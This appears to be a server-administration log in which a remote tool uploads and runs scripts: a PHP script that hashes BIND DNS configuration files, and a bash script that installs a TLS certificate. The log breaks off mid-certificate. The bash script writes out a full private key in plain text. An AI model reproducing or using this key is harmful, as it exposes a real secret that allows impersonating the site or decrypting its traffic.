chmod 755 /tmp/pkp338987; /tmp/pkp338987; rm /tmp/pkp338987

2025-11-08 06:00:05: 


0


2025-11-08 06:00:05: Establishing a remote connection
2025-11-08 19:10:49: Establishing a connection
2025-11-08 19:11:55: Establishing a connection
2025-11-08 19:11:55: 

PUT: /tmp/pkp157917

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-08 19:11:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp157917; rm /tmp/pkp157917'

2025-11-08 19:11:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-08 19:12:04: Establishing a remote connection
2025-11-08 19:12:04: 

PUT: /tmp/pkp726225

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
CHAINTARGET=1ab41bf0e070e7b006d494c7605f9dcb.chain.crt

cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----



endmsg

cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
